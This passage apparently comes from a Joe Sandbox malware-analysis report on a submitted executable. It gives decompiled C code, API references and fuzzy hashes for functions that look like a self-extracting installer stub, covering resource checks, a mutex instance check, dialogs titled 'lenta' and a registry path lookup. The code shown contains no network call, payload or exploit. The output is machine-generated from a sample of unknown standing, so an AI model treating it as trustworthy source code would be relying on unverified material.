					if(E003D468F("EXTRACTOPT", 0x3d9a34, 4) != 0) {
						if(( *0x3d9a34 & 0x000000c0) == 0) {
							L12:
							 *0x3d9120 =  *0x3d9120 & _t65;
							if(E003D5C9E(_t48, _t48, _t65, _t66) != 0) {
								if( *0x3d8a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0x3d8184 != 0) {
										__imp__#17();
									}
									if( *0x3d8a24 == 0) {
										_t57 = _t65;
										if(E003D36EE(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0x3d9a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0x3d9a34 & 0x00000100) == 0 || ( *0x3d8a38 & 0x00000001) != 0 || E003D18A3(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E003D6517(_t57, 0x7d6, _t34, E003D19E0, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E003D2390(0x3d8a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E003D44B9(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E003D468F("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0x3d8588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0x3d9a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E003D44B9(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E003D44B9(0, 0x54b, "lenta", 0, 0x10, 0);
										L11:
										CloseHandle( *0x3d8588);
										 *0x3d9124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E003D44B9(0, 0x4b1, 0, 0, 0x10, 0);
						 *0x3d9124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E003D6CE0(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x003d2cb5
0x003d2cbc
0x003d2cc7
0x003d2cc9
0x003d2cd1
0x003d2cd3
0x003d2cd9
0x003d2ce9
0x003d2cf9
0x003d2d0e
0x003d2d15
0x003d2d1c
0x003d2ef3
0x00000000
0x003d2d2d
0x003d2d34
0x003d2d3b
0x003d2d40
0x003d2d48
0x003d2d59
0x003d2d84
0x003d2e1f
0x003d2e1f
0x003d2e2e
0x003d2e41
0x003d2e5a
0x003d2e62
0x003d2e6c
0x003d2e6c
0x003d2e75
0x003d2e77
0x003d2e77
0x003d2e84
0x003d2e8b
0x003d2e94
0x00000000
0x003d2e96
0x003d2e96
0x003d2e9e
0x003d2ea2
0x003d2eba
0x00000000
0x003d2ece
0x003d2ede
0x003d2eed
0x00000000
0x00000000
0x00000000
0x00000000
0x003d2eed
0x003d2eef
0x003d2eef
0x003d2eef
0x003d2eef
0x003d2ea2
0x003d2e86
0x003d2e88
0x003d2e88
0x003d2e43
0x003d2e48
0x00000000
0x003d2e48
0x003d2e30
0x003d2e30
0x003d2ef8
0x003d2f01
0x00000000
0x003d2f01
0x003d2d8a
0x003d2d8f
0x003d2da1
0x00000000
0x003d2da3
0x003d2dae
0x003d2db4
0x003d2dbb
0x00000000
0x003d2dca
0x003d2dd3
0x003d2df5
0x003d2e02
0x00000000
0x00000000
0x00000000
0x00000000
0x003d2dd5
0x003d2dde
0x003d2de3
0x003d2e04
0x003d2e0a
0x003d2e10
0x00000000
0x003d2e10
0x003d2dd3
0x003d2dbb
0x003d2da1
0x003d2d5b
0x003d2d5b
0x003d2d5d
0x003d2d69
0x003d2d6e
0x003d2f06
0x003d2f06
0x003d2f06
0x003d2d59
0x003d2f18

APIs

memset.MSVCRT ref: 003D2CD9
memset.MSVCRT ref: 003D2CE9
memset.MSVCRT ref: 003D2CF9

Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46A0
Part of subcall function 003D468F: SizeofResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46A9
Part of subcall function 003D468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003D46C3
Part of subcall function 003D468F: LoadResource.KERNEL32(00000000,00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46CC
Part of subcall function 003D468F: LockResource.KERNEL32(00000000,?,003D2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46D3
Part of subcall function 003D468F: memcpy_s.MSVCRT ref: 003D46E5
Part of subcall function 003D468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003D46EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003D2D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 003D2D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 003D2DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 003D2DBD
CloseHandle.KERNEL32(lenta,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 003D2E0A

Part of subcall function 003D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003D4518
Part of subcall function 003D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 003D4554

Strings

VERCHECK, xrefs: 003D2E54
INSTANCECHECK, xrefs: 003D2D95
TITLE, xrefs: 003D2D09
EXTRACTOPT, xrefs: 003D2D4D
lenta, xrefs: 003D2D04, 003D2DD9, 003D2DF0

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$lenta
API String ID: 1002816675-2993962200
Opcode ID: 3c62b8c1aeae58ae30711e4b7fa812c1c80945ac3d36f9165c0dc195fa4690e0
Instruction ID: a4c9ff45844b7f98333204d96886707cb920ab09b1c707ca483a3af6fd182b4c
Opcode Fuzzy Hash: 3c62b8c1aeae58ae30711e4b7fa812c1c80945ac3d36f9165c0dc195fa4690e0
Instruction Fuzzy Hash: 1C51D173641301ABE723AB75BD4AB7B27ADEB65700F05442BF942DA3D1DAB48C41C621

Uniqueness

Uniqueness Score: -1.00%

Function 003D34F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E003D34F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0x3d91d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0x3d8584 = _t35;
					E003D43D0(_t35, GetDesktopWindow());
					__eflags =  *0x3d8184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, "lenta");
					_t17 = CreateThread(0, 0, E003D4FE0, 0, 0, 0x3d8798);
					 *0x3d879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E003D44B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0x3d858c);
					_t38 =  *0x3d8584; // 0x0
					_t25 = E003D44B9(_t38, 0x4b2, 0x3d1140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0x3d91d8 = 1;
						SetEvent( *0x3d858c);
						_t39 =  *0x3d879c; // 0x0
						E003D3680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0x3d858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0x3d879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x003d34fb
0x003d34fe
0x003d3665
0x003d3666
0x003d3666
0x003d3668
0x003d366e
0x003d366e
0x003d3671
0x003d3671
0x003d3677
0x00000000
0x003d3677
0x003d3504
0x003d3506
0x003d3507
0x003d350c
0x003d365b
0x003d365f
0x00000000
0x00000000
0x00000000
0x003d3661
0x003d3512
0x003d3515
0x003d35be
0x003d35c1
0x003d35d1
0x003d35d8
0x003d35de
0x003d35f8
0x003d3617
0x003d3617
0x003d3623
0x003d3637
0x003d363d
0x003d3642
0x003d3644
0x00000000
0x003d3646
0x003d3652
0x003d3657
0x003d3658
0x00000000
0x003d3658
0x003d3644
0x003d351b
0x003d351d
0x003d354f
0x003d3553
0x00000000
0x00000000
0x003d355f
0x003d3565
0x003d357c
0x003d3581
0x003d3584
0x003d359b
0x003d35a1
0x003d35a7
0x003d35ad
0x003d35b3
0x003d35b8
0x00000000
0x003d35b8
0x003d3586
0x003d3588
0x00000000
0x00000000
0x003d3590
0x00000000
0x003d3590
0x003d3524
0x003d3535
0x003d3541
0x00000000
0x003d3549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 003D3535
EndDialog.USER32(?,?), ref: 003D3541
ResetEvent.KERNEL32 ref: 003D355F
SetEvent.KERNEL32(003D1140,00000000,00000020,00000004), ref: 003D3590
GetDesktopWindow.USER32 ref: 003D35C7
GetDlgItem.USER32(?,0000083B), ref: 003D35F1
SendMessageA.USER32(00000000), ref: 003D35F8
GetDlgItem.USER32(?,0000083B), ref: 003D3610
SendMessageA.USER32(00000000), ref: 003D3617
SetWindowTextA.USER32(?,lenta), ref: 003D3623
CreateThread.KERNEL32(00000000,00000000,Function_00004FE0,00000000,00000000,003D8798), ref: 003D3637
EndDialog.USER32(?,00000000), ref: 003D3671

Strings

lenta, xrefs: 003D361D

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: lenta
API String ID: 2406144884-2780258678
Opcode ID: 729507870c774de10f3d4bb8b8b5a292d27009038198234df9755c945e4a7937
Instruction ID: 4b19dcd94946a70184165d8f138d5c0a81dd302e0a7e336c21b707680fa907e2
Opcode Fuzzy Hash: 729507870c774de10f3d4bb8b8b5a292d27009038198234df9755c945e4a7937
Instruction Fuzzy Hash: DC31A072241201BBD7231F25FD8DE2A3B7DE786B01F14492BF602957A0CB71DE10DA56

Uniqueness

Uniqueness Score: -1.00%

Function 003D4224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E003D4224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E003D44B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0x3d88c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0x3d87a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0x3d8598;
					_v36 = 1;
					_v32 = E003D4200;
					_v28 = 0x3d88c0;
					 *0x3da288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0x3da288(_t32, 0x3d88c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0x3d88c0 != 0) {
							E003D1680(0x3d87a0, 0x104, 0x3d88c0);
						}
						 *0x3da288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0x3d87a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0x3d88c0);
					_t61 = 0x3d88c0;
					_t4 =  &(_t61[1]); // 0x3d88c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0x3d88c0; // 0x7b1181
					_t44 = CharPrevA(0x3d88c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0x3d88c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x003d4234
0x003d423c
0x003d4240
0x003d43b2
0x003d43b7
0x003d43c0
0x00000000
0x003d43c5
0x003d424c
0x003d4252
0x003d4257
0x003d43a4
0x003d43a5
0x003d43ab
0x00000000
0x003d43ab
0x003d4263
0x003d4269
0x003d426e
0x00000000
0x00000000
0x003d427a
0x003d4280
0x003d4285
0x00000000
0x00000000
0x003d428d
0x003d4293
0x003d42e6
0x003d42e9
0x003d42ef
0x003d42f4
0x003d42f7
0x003d4300
0x003d4307
0x003d430e
0x003d4315
0x003d431c
0x003d4322
0x003d4326
0x003d432d
0x003d432d
0x003d432f
0x003d4334
0x003d4343
0x003d4349
0x003d434d
0x003d4354
0x003d4354
0x003d435d
0x003d436e
0x003d436e
0x003d437d
0x003d4383
0x003d4387
0x003d438e
0x003d438e
0x003d4387
0x003d4391
0x003d4399
0x00000000
0x003d4295
0x003d429f
0x003d42a5
0x003d42aa
0x003d42aa
0x003d42ad
0x003d42ad
0x003d42af
0x003d42b0
0x003d42b6
0x003d42c2
0x003d42c8
0x003d42ce
0x003d42e4
0x003d42e4
0x00000000
0x003d42ce

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 003D4236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 003D424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 003D4263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 003D427A
GetTempPathA.KERNEL32(00000104,003D88C0,?,00000001), ref: 003D429F
CharPrevA.USER32(003D88C0,007B1181,?,00000001), ref: 003D42C2
CharPrevA.USER32(003D88C0,00000000,?,00000001), ref: 003D42D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 003D4391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 003D43A5

Strings

SHGetPathFromIDList, xrefs: 003D4274
SHBrowseForFolder, xrefs: 003D4246
SHELL32.DLL, xrefs: 003D422F

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 23efcdcf88b83e0904a6ca27401bd9669fc86b64e3cd33e411d39197f545d299
Instruction ID: 2ce8ab5fe1b8a5c663468908cf23578ed7a39495bd1ffb72f46aa81629a44e12
Opcode Fuzzy Hash: 23efcdcf88b83e0904a6ca27401bd9669fc86b64e3cd33e411d39197f545d299
Instruction Fuzzy Hash: 744123BAA01240AFD713AF74FC88AAE7BB8EB49344F05046BF901A3391CB749C01C761

Uniqueness

Uniqueness Score: -1.00%

Function 003D44B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E003D44B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0x3d8a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0x3d9a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E003D1680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E003D171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E003D171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E003D681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E003D67C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "lenta", _t49 | _a12 | _a16);
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E003D681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E003D67C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "lenta", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E003D6CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x003d44b9
0x003d44c4
0x003d44cb
0x003d44d8
0x003d44e4
0x003d44eb
0x003d44ee
0x003d44ef
0x003d44ef
0x003d44f1
0x003d44f7
0x003d44f8
0x003d467b
0x003d44fe
0x003d4509
0x003d4518
0x003d4525
0x003d4562
0x003d4568
0x003d4568
0x003d456b
0x003d456b
0x003d456d
0x003d456e
0x003d4572
0x003d4578
0x003d457c
0x003d45cb
0x003d4607
0x003d4607
0x003d460d
0x003d4613
0x003d4617
0x00000000
0x003d461d
0x003d4623
0x003d4626
0x003d4628
0x00000000
0x003d4628
0x003d45cd
0x003d45cd
0x003d45cf
0x003d45cf
0x003d45d2
0x003d45d2
0x003d45d4
0x003d45d5
0x003d45db
0x003d45de
0x003d45e3
0x003d45e9
0x003d45ed
0x00000000
0x003d45f3
0x003d45fd
0x00000000
0x003d4602
0x003d45ed
0x003d457e
0x003d457e
0x003d4580
0x003d4580
0x003d4583
0x003d4583
0x003d4585
0x003d4586
0x003d458a
0x003d458c
0x003d458f
0x003d458f
0x003d4591
0x003d4592
0x003d459b
0x003d459e
0x003d45a3
0x003d45a9
0x003d45ad
0x00000000
0x003d45af
0x003d45af
0x003d45bf
0x003d462d
0x003d4630
0x003d463d
0x003d464e
0x003d464e
0x003d463f
0x003d4640
0x003d4647
0x003d464c
0x00000000
0x00000000
0x003d464c
0x003d4666
0x003d466d
0x003d466f
0x003d4675
0x003d4675
0x003d45ad
0x003d4527
0x003d452e
0x003d453f
0x003d453f
0x003d4530
0x003d4531
0x003d4538
0x003d453d
0x00000000
0x00000000
0x003d453d
0x003d4554
0x003d455a
0x003d455a
0x003d455a
0x003d4525
0x003d468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 003D4518
MessageBoxA.USER32(?,?,lenta,00010010), ref: 003D4554
LocalAlloc.KERNEL32(00000040,00000065), ref: 003D45A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 003D45E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 003D460D
MessageBeep.USER32(00000000), ref: 003D4630
MessageBoxA.USER32(?,00000000,lenta,00000000), ref: 003D4666
LocalFree.KERNEL32(00000000), ref: 003D466F

Part of subcall function 003D681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 003D686E
Part of subcall function 003D681F: GetSystemMetrics.USER32(0000004A), ref: 003D68A7
Part of subcall function 003D681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 003D68CC
Part of subcall function 003D681F: RegQueryValueExA.ADVAPI32(?,003D1140,00000000,?,?,0000000C), ref: 003D68F4
Part of subcall function 003D681F: RegCloseKey.ADVAPI32(?), ref: 003D6902

Strings

LoadString() Error. Could not load string resource., xrefs: 003D44E4
lenta, xrefs: 003D4545, 003D465A

Memory Dump Source

Source File: 00000000.00000002.322387437.00000000003D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003D0000, based on PE: true

Associated: 00000000.00000002.322377006.00000000003D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322405861.00000000003D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.322416085.00000000003DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_file.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$lenta
API String ID: 3244514340-1000497449
Opcode ID: ac47aef7205366a8e48f69486f08c656c63a9967753a3ab2aea418c0cc9a481f
Instruction ID: 67ddba45d963f3427e20152441e7f7576a06100a3c98b539e1f8aea6f374085d
Opcode Fuzzy Hash: ac47aef7205366a8e48f69486f08c656c63a9967753a3ab2aea418c0cc9a481f
Instruction Fuzzy Hash: 7351D073901219ABDB239F28FD48BAA7B69EF46300F014196FD19A7341DB31DE098B60

Uniqueness

Uniqueness Score: -1.00%

Function 003D2773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E003D2773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0x3d8004; // 0xf4fc83b5
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E003D1781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E003D658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E003D658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0x3d1140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E003D1680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E003D6CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x003d2773
0x003d277e
0x003d2785
0x003d278a
0x003d278d
0x003d2790
0x003d2792
0x003d2798
0x003d279d
0x003d28b2
0x00000000
0x003d27a3
0x003d27a3
0x003d27af
0x003d27c2
0x003d27c8
0x003d27cd
0x003d27d5
0x003d28b7
0x003d28b9
0x00000000
0x003d27db
0x003d27dd
0x003d28aa
0x00000000
0x003d27e3
0x003d27e3
0x003d27ec
0x003d27f8
0x003d2803
0x003d280b
0x003d2831
0x003d28c3
0x003d28c9
0x003d28cd
0x003d2837
0x003d285a
0x003d285c
0x003d2865
0x003d2892
0x003d2895
0x00000000
0x00000000
0x003d2867
